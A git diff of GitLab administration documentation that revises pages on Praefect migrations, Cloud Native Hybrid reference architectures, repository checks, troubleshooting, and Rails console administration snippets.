@@ -1320,7 +1321,7 @@ the file of the same name on this server. If this is the first Omnibus node you
1. Praefect requires to run some database migrations, much like the main GitLab application. For this
you should select **one Praefect node only to run the migrations**, AKA the _Deploy Node_. This node
must be configured first before the others as follows:
-
+
1. In the `/etc/gitlab/gitlab.rb` file, change the `praefect['auto_migrate']` setting value from `false` to `true`
1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run:
@@ -1328,7 +1329,7 @@ the file of the same name on this server. If this is the first Omnibus node you
```shell
sudo touch /etc/gitlab/skip-auto-reconfigure
```
-
+
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect and
to run the Praefect database migrations.
@@ -2056,10 +2057,191 @@ to use GitLab Pages, this currently [requires NFS](troubleshooting.md#gitlab-pag
See how to [configure NFS](../nfs.md).
WARNING:
-From GitLab 14.0, enhancements and bug fixes for NFS for Git repositories will no longer be
-considered and customer technical support will be considered out of scope.
-[Read more about Gitaly and NFS](../gitaly/index.md#nfs-deprecation-notice) and
-[the correct mount options to use](../nfs.md#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss).
+Engineering support for NFS for Git repositories is deprecated. Technical support is planned to be
+unavailable from GitLab 15.0. No further enhancements are planned for this feature.
+
+Read:
+
+- The [Gitaly and NFS deprecation notice](../gitaly/index.md#nfs-deprecation-notice).
+- About the [correct mount options to use](../nfs.md#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss).
+
+## Cloud Native Hybrid reference architecture with Helm Charts (alternative)
+
+As an alternative approach, you can also run select components of GitLab as Cloud Native
+in Kubernetes via our official [Helm Charts](https://docs.gitlab.com/charts/).
+In this setup, we support running the equivalent of GitLab Rails and Sidekiq nodes
+in a Kubernetes cluster, named Webservice and Sidekiq respectively. In addition,
+the following other supporting services are supported: NGINX, Task Runner, Migrations,
+Prometheus and Grafana.
+
+Hybrid installations leverage the benefits of both cloud native and traditional
+compute deployments. With this, _stateless_ components can benefit from cloud native
+workload management benefits while _stateful_ components are deployed in compute VMs
+with Omnibus to benefit from increased permanence.
+
+NOTE:
+This is an **advanced** setup. Running services in Kubernetes is well known
+to be complex. **This setup is only recommended** if you have strong working
+knowledge and experience in Kubernetes. The rest of this
+section will assume this.
+
+### Cluster topology
+
+The following tables and diagram details the hybrid environment using the same formats
+as the normal environment above.
+
+First starting with the components that run in Kubernetes. The recommendations at this
+time use Google Cloud’s Kubernetes Engine (GKE) and associated machine types, but the memory
+and CPU requirements should translate to most other providers. We hope to update this in the
+future with further specific cloud provider details.
+
+| Service | Nodes(1) | Configuration | GCP | Allocatable CPUs and Memory |
+|-------------------------------------------------------|----------|-------------------------|------------------|-----------------------------|
+| Webservice | 5 | 16 vCPU, 14.4 GB memory | `n1-highcpu-16` | 79.5 vCPU, 62 GB memory |
+| Sidekiq | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | 11.8 vCPU, 38.9 GB memory |
+| Supporting services such as NGINX, Prometheus, etc. | 2 | 2 vCPU, 7.5 GB memory | `n1-standard-2` | 3.9 vCPU, 11.8 GB memory |
+
+<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix -->
+<!-- markdownlint-disable MD029 -->
+1. Nodes configuration is shown as it is forced to ensure pod vcpu / memory ratios and avoid scaling during **performance testing**.
+ In production deployments there is no need to assign pods to nodes. A minimum of three nodes in three different availability zones is strongly recommended to align with resilient cloud architecture practices.
+<!-- markdownlint-enable MD029 -->
+
+Next are the backend components that run on static compute VMs via Omnibus (or External PaaS
+services where applicable):
+
+| Service | Nodes | Configuration | GCP |
+|--------------------------------------------|-------|-------------------------|------------------|
+| Redis(2) | 3 | 2 vCPU, 7.5 GB memory | `n1-standard-2` |
+| Consul(1) + Sentinel(2) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` |
+| PostgreSQL(1) | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` |
+| PgBouncer(1) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` |
+| Internal load balancing node(3) | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` |
+| Gitaly | 3 | 8 vCPU, 30 GB memory | `n1-standard-8` |
+| Praefect | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` |
+| Praefect PostgreSQL(1) | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` |
+| Object storage(4) | n/a | n/a | n/a |
+
+<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix -->
+<!-- markdownlint-disable MD029 -->
+1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
+2. Can be optionally run on reputable third-party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
+3. Can be optionally run on reputable third-party load balancing services (LB PaaS). AWS ELB is known to work.
+4. Should be run on reputable third party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work.
+<!-- markdownlint-enable MD029 -->
+
+NOTE:
+For all PaaS solutions that involve configuring instances, it is strongly recommended to implement a minimum of three nodes in three different availability zones to align with resilient cloud architecture practices.
+
+```plantuml
+@startuml 5k
+
+card "Kubernetes via Helm Charts" as kubernetes {
+ card "**External Load Balancer**" as elb #6a9be7
+
+ together {
+ collections "**Webservice** x5" as gitlab #32CD32
+ collections "**Sidekiq** x3" as sidekiq #ff8dd1
+ }
+
+ card "**Prometheus + Grafana**" as monitor #7FFFD4
+ card "**Supporting Services**" as support
+}
+
+card "**Internal Load Balancer**" as ilb #9370DB
+
+node "**Consul + Sentinel** x3" as consul_sentinel {
+ component Consul as consul #e76a9b
+ component Sentinel as sentinel #e6e727
+}
+
+card "Gitaly Cluster" as gitaly_cluster {
+ collections "**Praefect** x3" as praefect #FF8C00
+ collections "**Gitaly** x3" as gitaly #FF8C00
+ card "**Praefect PostgreSQL***\n//Non fault-tolerant//" as praefect_postgres #FF8C00
+
+ praefect -[#FF8C00]-> gitaly
+ praefect -[#FF8C00]> praefect_postgres
+}
+
+card "Database" as database {
+ collections "**PGBouncer** x3" as pgbouncer #4EA7FF
+ card "**PostgreSQL** (Primary)" as postgres_primary #4EA7FF
+ collections "**PostgreSQL** (Secondary) x2" as postgres_secondary #4EA7FF
+
+ pgbouncer -[#4EA7FF]-> postgres_primary
+ postgres_primary .[#4EA7FF]> postgres_secondary
+}
+
+card "Redis" as redis {
+ collections "**Redis** x3" as redis_nodes #FF6347
+
+ redis_nodes <.[#FF6347]- sentinel
+}
+
+cloud "**Object Storage**" as object_storage #white
+
+elb -[#6a9be7]-> gitlab
+elb -[#6a9be7]-> monitor
+elb -[hidden]-> support
+
+gitlab -[#32CD32]--> ilb
+gitlab -[#32CD32]-> object_storage
+gitlab -[#32CD32]---> redis
+gitlab -[hidden]--> consul
+
+sidekiq -[#ff8dd1]--> ilb
+sidekiq -[#ff8dd1]-> object_storage
+sidekiq -[#ff8dd1]---> redis
+sidekiq -[hidden]--> consul
+
+ilb -[#9370DB]-> gitaly_cluster
+ilb -[#9370DB]-> database
+
+consul .[#e76a9b]-> database
+consul .[#e76a9b]-> gitaly_cluster
+consul .[#e76a9b,norank]--> redis
+
+monitor .[#7FFFD4]> consul
+monitor .[#7FFFD4]-> database
+monitor .[#7FFFD4]-> gitaly_cluster
+monitor .[#7FFFD4,norank]--> redis
+monitor .[#7FFFD4]> ilb
+monitor .[#7FFFD4,norank]u--> elb
+
+@enduml
+```
+
+### Resource usage settings
+
+The following formulas help when calculating how many pods may be deployed within resource constraints.
+The [5k reference architecture example values file](https://gitlab.com/gitlab-org/charts/gitlab/-/blob/master/examples/ref/5k.yaml)
+documents how to apply the calculated configuration to the Helm Chart.
+
+#### Webservice
+
+Webservice pods typically need about 1 vCPU and 1.25 GB of memory _per worker_.
+Each Webservice pod will consume roughly 4 vCPUs and 5 GB of memory using
+the [recommended topology](#cluster-topology) because four worker processes
+are created by default and each pod has other small processes running.
+
+For 5k users we recommend a total Puma worker count of around 40.
+With the [provided recommendations](#cluster-topology) this allows the deployment of up to 10
+Webservice pods with 4 workers per pod and 2 pods per node. Expand available resources using
+the ratio of 1 vCPU to 1.25 GB of memory _per each worker process_ for each additional
+Webservice pod.
+
+For further information on resource usage, see the [Webservice resources](https://docs.gitlab.com/charts/charts/gitlab/webservice/#resources).
+
+#### Sidekiq
+
+Sidekiq pods should generally have 1 vCPU and 2 GB of memory.
+
+[The provided starting point](#cluster-topology) allows the deployment of up to
+8 Sidekiq pods. Expand available resources using the 1 vCPU to 2GB memory
+ratio for each additional pod.
+
+For further information on resource usage, see the [Sidekiq resources](https://docs.gitlab.com/charts/charts/gitlab/sidekiq/#resources).
<div align="right">
<a type="button" class="btn btn-default" href="#setup-components">
diff --git a/doc/administration/reference_architectures/index.md b/doc/administration/reference_architectures/index.md
index 49024365e30..22871f6ea8d 100644
--- a/doc/administration/reference_architectures/index.md
+++ b/doc/administration/reference_architectures/index.md
@@ -69,6 +69,13 @@ The following reference architectures are available:
- [Up to 25,000 users](25k_users.md)
- [Up to 50,000 users](50k_users.md)
+The following Cloud Native Hybrid reference architectures, where select recommended components can be run in Kubernetes, are available:
+
+- [Up to 5,000 users](5k_users.md#cloud-native-hybrid-reference-architecture-with-helm-charts-alternative)
+- [Up to 10,000 users](10k_users.md#cloud-native-hybrid-reference-architecture-with-helm-charts-alternative)
+- [Up to 25,000 users](25k_users.md#cloud-native-hybrid-reference-architecture-with-helm-charts-alternative)
+- [Up to 50,000 users](50k_users.md#cloud-native-hybrid-reference-architecture-with-helm-charts-alternative)
+
A GitLab [Premium or Ultimate](https://about.gitlab.com/pricing/#self-managed) license is required
to get assistance from Support with troubleshooting the [2,000 users](2k_users.md)
and higher reference architectures.
@@ -163,7 +170,7 @@ a layer of complexity that will add challenges to finding out where potential
issues might lie.
The reference architectures use the official GitLab Linux packages (Omnibus
-GitLab) to install and configure the various components (with one notable exception being the suggested select Cloud Native installation method described below). The components are
+GitLab) or [Helm Charts](https://docs.gitlab.com/charts/) to install and configure the various components. The components are
installed on separate machines (virtualized or bare metal), with machine hardware
requirements listed in the "Configuration" column and equivalent VM standard sizes listed
in GCP/AWS/Azure columns of each [available reference architecture](#available-reference-architectures).
@@ -175,21 +182,10 @@ Other technologies, like [Docker swarm](https://docs.docker.com/engine/swarm/)
are not officially supported, but can be implemented at your own risk. In that
case, GitLab Support will not be able to help you.
-### Configuring select components with Cloud Native Helm
-
-We also provide [Helm charts](https://docs.gitlab.com/charts/) as a Cloud Native installation
-method for GitLab. For the reference architectures, select components can be set up in this
-way as an alternative if so desired.
+## Supported modifications for lower user count HA reference architectures
-For these kind of setups we support using the charts in an [advanced configuration](https://docs.gitlab.com/charts/#advanced-configuration)
-where stateful backend components, such as the database or Gitaly, are run externally - either
-via Omnibus or reputable third party services. Note that we don't currently support running the
-stateful components via Helm _at large scales_.
+The reference architectures for user counts [3,000](3k_users.md) and up support High Availability (HA).
-When designing these environments you should refer to the respective [Reference Architecture](#available-reference-architectures)
-above for guidance on sizing. Components run via Helm would be similarly scaled to their Omnibus
-specs, only translated into Kubernetes resources.
+In the specific case you have the requirement to achieve HA but have a lower user count, select modifications to the [3,000 user](3k_users.md) architecture are supported.
-For example, if you were to set up a 50k installation with the Rails nodes being run in Helm,
-then the same amount of resources as given for Omnibus should be given to the Kubernetes
-cluster with the Rails nodes broken down into a number of smaller Pods across that cluster.
+For more details, [refer to this section in the architecture's documentation](3k_users.md#supported-modifications-for-lower-user-counts-ha).
diff --git a/doc/administration/reference_architectures/troubleshooting.md b/doc/administration/reference_architectures/troubleshooting.md
index 4b07cff7de2..61d9dfea2a2 100644
--- a/doc/administration/reference_architectures/troubleshooting.md
+++ b/doc/administration/reference_architectures/troubleshooting.md
@@ -207,7 +207,7 @@ To make sure your configuration is correct:
## Troubleshooting Gitaly
For troubleshooting information, see Gitaly and Gitaly Cluster
-[troubleshooting information](../gitaly/index.md).
+[troubleshooting information](../gitaly/troubleshooting.md).
## Troubleshooting the GitLab Rails application
diff --git a/doc/administration/reply_by_email.md b/doc/administration/reply_by_email.md
index ebb9e086cb7..c249f48b768 100644
--- a/doc/administration/reply_by_email.md
+++ b/doc/administration/reply_by_email.md
@@ -4,9 +4,7 @@ group: Certify
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Reply by email
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/1173) in GitLab 8.0.
+# Reply by email **(FREE SELF)**
GitLab can be set up to allow users to comment on issues and merge requests by
replying to notification emails.
@@ -34,10 +32,10 @@ addition, this "reply key" is also added to the `References` header.
When you reply to the notification email, your email client:
-- sends the email to the `Reply-To` address it got from the notification email
-- sets the `In-Reply-To` header to the value of the `Message-ID` header from the
+- Sends the email to the `Reply-To` address it got from the notification email
+- Sets the `In-Reply-To` header to the value of the `Message-ID` header from the
notification email
-- sets the `References` header to the value of the `Message-ID` plus the value of
+- Sets the `References` header to the value of the `Message-ID` plus the value of
the notification email's `References` header.
### GitLab receives your reply to the notification email
@@ -45,8 +43,8 @@ When you reply to the notification email, your email client:
When GitLab receives your reply, it looks for the "reply key" in the
following headers, in this order:
-1. the `To` header
-1. the `References` header
+1. `To` header
+1. `References` header
If it finds a reply key, it leaves your reply as a comment on
the entity the notification was about (issue, merge request, commit...).
diff --git a/doc/administration/repository_checks.md b/doc/administration/repository_checks.md
index 869b1e7068f..ab203bb7993 100644
--- a/doc/administration/repository_checks.md
+++ b/doc/administration/repository_checks.md
@@ -5,57 +5,64 @@ info: "To determine the technical writer assigned to the Stage/Group associated
type: reference
---
-# Repository checks **(FREE)**
+# Repository checks **(FREE SELF)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/3232) in GitLab 8.7.
+You can use [`git fsck`](https://git-scm.com/docs/git-fsck) to verify the integrity of all data
+committed to a repository. GitLab administrators can trigger this check for a project using the
+GitLab UI:
-Git has a built-in mechanism, [`git fsck`](https://git-scm.com/docs/git-fsck), to verify the
-integrity of all data committed to a repository. GitLab administrators
-can trigger such a check for a project via the project page under the
-Admin Area. The checks run asynchronously so it may take a few minutes
-before the check result is visible on the project Admin Area. If the
-checks failed you can see their output on in the
-[`repocheck.log` file.](logs.md#repochecklog)
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Overview > Projects**.
+1. Select the project to check.
+1. In the **Repository check** section, select **Trigger repository check**.
+
+The checks run asynchronously so it may take a few minutes before the check result is visible on the
+project page in the Admin Area. If the checks fail, see [what to do](#what-to-do-if-a-check-failed).
This setting is off by default, because it can cause many false alarms.
-## Periodic checks
+## Enable periodic checks
+
+Instead of checking repositories manually, GitLab can be configured to run the checks periodically:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Repository** (`/admin/application_settings/repository`).
+1. Expand the **Repository maintenance** section.
+1. Enable **Enable repository checks**.
-When enabled, GitLab periodically runs a repository check on all project
-repositories and wiki repositories in order to detect data corruption.
-A project is checked no more than once per month. If any projects
-fail their repository checks all GitLab administrators receive an email
-notification of the situation. This notification is sent out once a week,
-by default, midnight at the start of Sunday. Repositories with known check
-failures can be found at `/admin/projects?last_repository_check_failed=1`.
+When enabled, GitLab periodically runs a repository check on all project repositories and wiki
+repositories to detect possible data corruption. A project is checked no more than once per month.
-## Disabling periodic checks
+If any projects fail their repository checks, all GitLab administrators receive an email
+notification of the situation. By default, this notification is sent out once a week at midnight at
+the start of Sunday.
-You can disable the periodic checks on the **Settings** page of the Admin Area.
+Repositories with known check failures can be found at
+`/admin/projects?last_repository_check_failed=1`.
## What to do if a check failed
-If the repository check fails for some repository you should look up the error
-in the [`repocheck.log` file](logs.md#repochecklog) on disk:
+If a repository check fails, locate the error in the [`repocheck.log` file](logs.md#repochecklog) on
+disk at:
-- `/var/log/gitlab/gitlab-rails` for Omnibus GitLab installations
-- `/home/git/gitlab/log` for installations from source
+- `/var/log/gitlab/gitlab-rails` for Omnibus GitLab installations.
+- `/home/git/gitlab/log` for installations from source.
-If the periodic repository check causes false alarms, you can clear all repository check states by:
+If periodic repository checks cause false alarms, you can clear all repository check states:
1. On the top bar, select **Menu >** **{admin}** **Admin**.
1. On the left sidebar, select **Settings > Repository** (`/admin/application_settings/repository`).
1. Expand the **Repository maintenance** section.
1. Select **Clear all repository checks**.
-## Run a check manually
+## Run a check using the command line
-[`git fsck`](https://git-scm.com/docs/git-fsck) is a read-only check that you can run
-manually against the repository on the [Gitaly server](gitaly/index.md).
+You can run [`git fsck`](https://git-scm.com/docs/git-fsck) using the command line on repositories
+on [Gitaly servers](gitaly/index.md). To locate the repositories:
-- For Omnibus GitLab installations, repositories are stored by default in
- `/var/opt/gitlab/git-data/repositories`.
-- [Identify the subdirectory that contains the repository](repository_storage_types.md#from-project-name-to-hashed-path)
+1. Go to the storage location for repositories. For Omnibus GitLab installations, repositories are
+ stored by default in the `/var/opt/gitlab/git-data/repositories` directory.
+1. [Identify the subdirectory that contains the repository](repository_storage_types.md#from-project-name-to-hashed-path)
that you need to check.
To run a check (for example):
@@ -65,5 +72,5 @@ sudo /opt/gitlab/embedded/bin/git -C /var/opt/gitlab/git-data/repositories/@hash
```
You can also run [Rake tasks](raketasks/check.md#repository-integrity) for checking Git
-repositories, which can be used to run `git fsck` against all repositories and generate
-repository checksums, as a way to compare repositories on different servers.
+repositories, which can be used to run `git fsck` against all repositories and generate repository
+checksums, as a way to compare repositories on different servers.
diff --git a/doc/administration/repository_storage_paths.md b/doc/administration/repository_storage_paths.md
index a1391f3e0ed..68f351e737a 100644
--- a/doc/administration/repository_storage_paths.md
+++ b/doc/administration/repository_storage_paths.md
@@ -147,13 +147,13 @@ can choose where new repositories are stored:
1. Select **Save changes**.
Each repository storage path can be assigned a weight from 0-100. When a new project is created,
-these weights are used to determine the storage location the repository is created on. The higher
-the weight of a given repository storage path relative to other repository storages paths, the more
-often it is chosen. That is, `(storage weight) / (sum of all weights) * 100 = chance %`.
+these weights are used to determine the storage location the repository is created on.
-![Choose repository storage path in Admin Area](img/repository_storages_admin_ui_v13_1.png)
+The higher the weight of a given repository storage path relative to other repository storages
+paths, the more often it is chosen. That is,
+`(storage weight) / (sum of all weights) * 100 = chance %`.
## Move repositories
-To move a repository to a different repository storage (for example, from `default` to `storage2`), use the
+To move a repository to a different repository storage (for example, from `default` to `storage2`), use the
same process as [migrating to Gitaly Cluster](gitaly/praefect.md#migrate-to-gitaly-cluster).
diff --git a/doc/administration/restart_gitlab.md b/doc/administration/restart_gitlab.md
index 5f7f08f4ecf..b8f09b00773 100644
--- a/doc/administration/restart_gitlab.md
+++ b/doc/administration/restart_gitlab.md
@@ -85,7 +85,7 @@ sudo gitlab-ctl reconfigure
Reconfiguring GitLab should occur in the event that something in its
configuration (`/etc/gitlab/gitlab.rb`) has changed.
-When you run this command, [Chef](https://www.chef.io/products/chef-infra/), the underlying configuration management
+When you run this command, [Chef](https://www.chef.io/products/chef-infra), the underlying configuration management
application that powers Omnibus GitLab, makes sure that all things like directories,
permissions, and services are in place and in the same shape that they were
initially shipped.
diff --git a/doc/administration/server_hooks.md b/doc/administration/server_hooks.md
index f67bf676a61..2a431d17774 100644
--- a/doc/administration/server_hooks.md
+++ b/doc/administration/server_hooks.md
@@ -34,7 +34,7 @@ Note the following about server hooks:
administrators are able to complete these tasks. If you don't have file system access, see
possible alternatives such as:
- [Webhooks](../user/project/integrations/webhooks.md).
- - [GitLab CI/CD](../ci/README.md).
+ - [GitLab CI/CD](../ci/index.md).
- [Push Rules](../push_rules/push_rules.md), for a user-configurable Git hook
interface.
- Server hooks aren't replicated to [Geo](geo/index.md) secondary nodes.
@@ -142,7 +142,7 @@ The following set of environment variables are available to server hooks.
|:---------------------|:----------------------------------------------------------------------------|
| `GL_ID` | GitLab identifier of user that initiated the push. For example, `user-2234` |
| `GL_PROJECT_PATH` | (GitLab 13.2 and later) GitLab project path |
-| `GL_PROTOCOL` | (GitLab 13.2 and later) Protocol used with push |
+| `GL_PROTOCOL` | (GitLab 13.2 and later) Protocol used for this change. One of: `http` (Git Push using HTTP), `ssh` (Git Push using SSH), or `web` (all other actions). |
| `GL_REPOSITORY` | `project-<id>` where `id` is the ID of the project |
| `GL_USERNAME` | GitLab username of the user that initiated the push |
diff --git a/doc/administration/troubleshooting/debug.md b/doc/administration/troubleshooting/debug.md
index 6861cdcde4e..031f44b1f9f 100644
--- a/doc/administration/troubleshooting/debug.md
+++ b/doc/administration/troubleshooting/debug.md
@@ -111,7 +111,7 @@ an SMTP server, but you're not seeing mail delivered. Here's how to check the se
```
In the example above, the SMTP server is configured for the local machine. If this is intended, you may need to check your local mail
- logs (e.g. `/var/log/mail.log`) for more details.
+ logs (for example, `/var/log/mail.log`) for more details.
1. Send a test message via the console.
@@ -119,7 +119,7 @@ an SMTP server, but you're not seeing mail delivered. Here's how to check the se
irb(main):003:0> Notify.test_email('youremail@email.com', 'Hello World', 'This is a test message').deliver_now
```
- If you do not receive an e-mail and/or see an error message, then check
+ If you do not receive an email and/or see an error message, then check
your mail server settings.
## Advanced Issues
@@ -224,7 +224,7 @@ gitlab_rails['env'] = {
}
```
-For source installations, set the environment variable.
+For source installations, set the environment variable.
Refer to [Puma Worker timeout](https://docs.gitlab.com/omnibus/settings/puma.html#worker-timeout).
[Reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure) GitLab for the changes to take effect.
@@ -237,7 +237,7 @@ are concerned about affecting others during a production system, you can run a
separate Rails process to debug the issue:
1. Log in to your GitLab account.
-1. Copy the URL that is causing problems (e.g. `https://gitlab.com/ABC`).
+1. Copy the URL that is causing problems (for example, `https://gitlab.com/ABC`).
1. Create a Personal Access Token for your user (User Settings -> Access Tokens).
1. Bring up the [GitLab Rails console.](../operations/rails_console.md#starting-a-rails-console-session)
1. At the Rails console, run:
@@ -258,12 +258,12 @@ separate Rails process to debug the issue:
### GitLab: API is not accessible
This often occurs when GitLab Shell attempts to request authorization via the
-[internal API](../../development/internal_api.md) (e.g., `http://localhost:8080/api/v4/internal/allowed`), and
+[internal API](../../development/internal_api.md) (for example, `http://localhost:8080/api/v4/internal/allowed`), and
something in the check fails. There are many reasons why this may happen:
-1. Timeout connecting to a database (e.g., PostgreSQL or Redis)
+1. Timeout connecting to a database (for example, PostgreSQL or Redis)
1. Error in Git hooks or push rules
-1. Error accessing the repository (e.g., stale NFS handles)
+1. Error accessing the repository (for example, stale NFS handles)
To diagnose this problem, try to reproduce the problem and then see if there
is a Unicorn worker that is spinning via `top`. Try to use the `gdb`
@@ -285,5 +285,5 @@ The output in `/tmp/puma.txt` may help diagnose the root cause.
## More information
-- [Debugging Stuck Ruby Processes](https://blog.newrelic.com/engineering/debugging-stuck-ruby-processes-what-to-do-before-you-kill-9/)
+- [Debugging Stuck Ruby Processes](https://newrelic.com/blog/engineering/debugging-stuck-ruby-processes-what-to-do-before-you-kill-9/)
- [Cheat sheet of using GDB and Ruby processes](gdb-stuck-ruby.txt)
diff --git a/doc/administration/troubleshooting/defcon.md b/doc/administration/troubleshooting/defcon.md
index 7cae6ea1c8f..1b263f70b46 100644
--- a/doc/administration/troubleshooting/defcon.md
+++ b/doc/administration/troubleshooting/defcon.md
@@ -10,7 +10,7 @@ type: reference
This document describes a feature that allows you to disable some important but computationally
expensive parts of the application to relieve stress on the database during an ongoing downtime.
-## `ci_queueing_disaster_recovery`
+## `ci_queueing_disaster_recovery_disable_fair_scheduling`
This feature flag, if temporarily enabled, disables fair scheduling on shared runners.
This can help to reduce system resource usage on the `jobs/request` endpoint
@@ -20,6 +20,16 @@ Side effects:
- In case of a large backlog of jobs, the jobs are processed in the order
they were put in the system, instead of balancing the jobs across many projects.
+
+## `ci_queueing_disaster_recovery_disable_quota`
+
+This feature flag, if temporarily enabled, disables enforcing CI minutes quota
+on shared runners. This can help to reduce system resource usage on the
+`jobs/request` endpoint by significantly reducing the computations being
+performed.
+
+Side effects:
+
- Projects which are out of quota will be run. This affects
only jobs created during the last hour, as prior jobs are canceled
by a periodic background worker (`StuckCiJobsWorker`).
diff --git a/doc/administration/troubleshooting/elasticsearch.md b/doc/administration/troubleshooting/elasticsearch.md
index d04ce23188f..79295856da8 100644
--- a/doc/administration/troubleshooting/elasticsearch.md
+++ b/doc/administration/troubleshooting/elasticsearch.md
@@ -53,7 +53,7 @@ graph TD;
B5 --> |No| B7
B7 --> B8
B{Is GitLab using<br>Elasticsearch for<br>searching?}
- B1[Check Admin Area > Integrations<br>to ensure the settings are correct]
+ B1[From the Admin Area, select<br>Integrations from the left<br>sidebar to ensure the settings<br>are correct.]
B2[Perform a search via<br>the rails console]
B3[If all settings are correct<br>and it still doesn't show Elasticsearch<br>doing the searches, escalate<br>to GitLab support.]
B4[Perform<br>the same search via the<br>Elasticsearch API]
@@ -196,7 +196,9 @@ Troubleshooting search result issues is rather straight forward on Elasticsearch
The first step is to confirm GitLab is using Elasticsearch for the search function.
To do this:
-1. Confirm the integration is enabled in **Admin Area > Settings > General**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > General**, and then confirm the
+ integration is enabled.
1. Confirm searches use Elasticsearch by accessing the rails console
(`sudo gitlab-rails console`) and running the following commands:
diff --git a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md
index 92070a86a0d..08755dd3285 100644
--- a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md
+++ b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md
@@ -275,7 +275,24 @@ integration active:
p = Project.find_by_sql("SELECT p.id FROM projects p LEFT JOIN services s ON p.id = s.project_id WHERE s.type = 'JiraService' AND s.active = true")
p.each do |project|
- project.jira_service.update_attribute(:password, '<your-new-password>')
+ project.jira_integration.update_attribute(:password, '<your-new-password>')
+end
+```
+
+### Bulk update push rules for _all_ projects
+
+For example, enable **Check whether the commit author is a GitLab user** and **Do not allow users to remove Git tags with `git push`** checkboxes, and create a filter for allowing commits from a specific e-mail domain only:
+
+``` ruby
+Project.find_each do |p|
+ pr = p.push_rule || PushRule.new(project: p)
+ # Check whether the commit author is a GitLab user
+ pr.member_check = true
+ # Do not allow users to remove Git tags with `git push`
+ pr.deny_delete_tag = true
+ # Commit author's email
+ pr.author_email_regex = '@domain\.com$'
+ pr.save!
end
```
@@ -286,9 +303,9 @@ To change all Jira project to use the instance-level integration settings:
1. In a Rails console:
```ruby
- jira_service_instance_id = JiraService.find_by(instance: true).id
- JiraService.where(active: true, instance: false, template: false, inherit_from_id: nil).find_each do |service|
- service.update_attribute(:inherit_from_id, jira_service_instance_id)
+ jira_integration_instance_id = Integrations::Jira.find_by(instance: true).id
+ Integrations::Jira.where(active: true, instance: false, template: false, inherit_from_id: nil).find_each do |integration|
+ integration.update_attribute(:inherit_from_id, jira_integration_instance_id)
end
```
@@ -331,10 +348,10 @@ end
puts "#{artifact_storage} bytes"
```
-### Identify deploy keys associated with blocked and non-member users
+### Identify deploy keys associated with blocked and non-member users
-When the user who created a deploy key is blocked or removed from the project, the key
-can no longer be used to push to protected branches in a private project (see [issue #329742](https://gitlab.com/gitlab-org/gitlab/-/issues/329742)).
+When the user who created a deploy key is blocked or removed from the project, the key
+can no longer be used to push to protected branches in a private project (see [issue #329742](https://gitlab.com/gitlab-org/gitlab/-/issues/329742)).
The following script identifies unusable deploy keys:
```ruby
@@ -350,7 +367,7 @@ DeployKeysProject.with_write_access.find_each do |deploy_key_mapping|
# can_push_for_ref? tests if deploy_key can push to default branch, which is likely to be protected
can_push = access_checker.can_do_action?(:push_code)
can_push_to_default = access_checker.can_push_for_ref?(project.repository.root_ref)
-
+
next if access_checker.allowed? && can_push && can_push_to_default
if user.nil? || user.id == ghost_user_id
@@ -557,7 +574,7 @@ User.billable.count
::HistoricalData.max_historical_user_count
```
-Using cURL and jq (up to a max 100, see the [pagination docs](../../api/README.md#pagination)):
+Using cURL and jq (up to a max 100, see the [pagination docs](../../api/index.md#pagination)):
```shell
curl --silent --header "Private-Token: ********************" \
@@ -814,12 +831,12 @@ build.dependencies.each do |d| { puts "status: #{d.status}, finished at: #{d.fin
completed: #{d.complete?}, artifacts_expired: #{d.artifacts_expired?}, erased: #{d.erased?}" }
```
-### Try CI service
+### Try CI integration
```ruby
p = Project.find_by_full_path('<project_path>')
m = project.merge_requests.find_by(iid: )
-m.project.try(:ci_service)
+m.project.try(:ci_integration)
```
### Validate the `.gitlab-ci.yml`
@@ -1125,6 +1142,33 @@ registry = Geo::PackageFileRegistry.find(registry_id)
registry.replicator.send(:download)
```
+#### Verify package files on the secondary manually
+
+This will iterate over all package files on the secondary, looking at the
+`verification_checksum` stored in the database (which came from the primary)
+and then calculate this value on the secondary to check if they match. This
+won't change anything in the UI:
+
+```ruby
+# Run on secondary
+status = {}
+
+Packages::PackageFile.find_each do |package_file|
+ primary_checksum = package_file.verification_checksum
+ secondary_checksum = Packages::PackageFile.hexdigest(package_file.file.path)
+ verification_status = (primary_checksum == secondary_checksum)
+
+ status[verification_status.to_s] ||= []
+ status[verification_status.to_s] << package_file.id
+end
+
+# Count how many of each value we get
+status.keys.each {|key| puts "#{key} count: #{status[key].count}"}
+
+# See the output in its entirety
+status
+```
+
### Repository types newer than project/wiki repositories
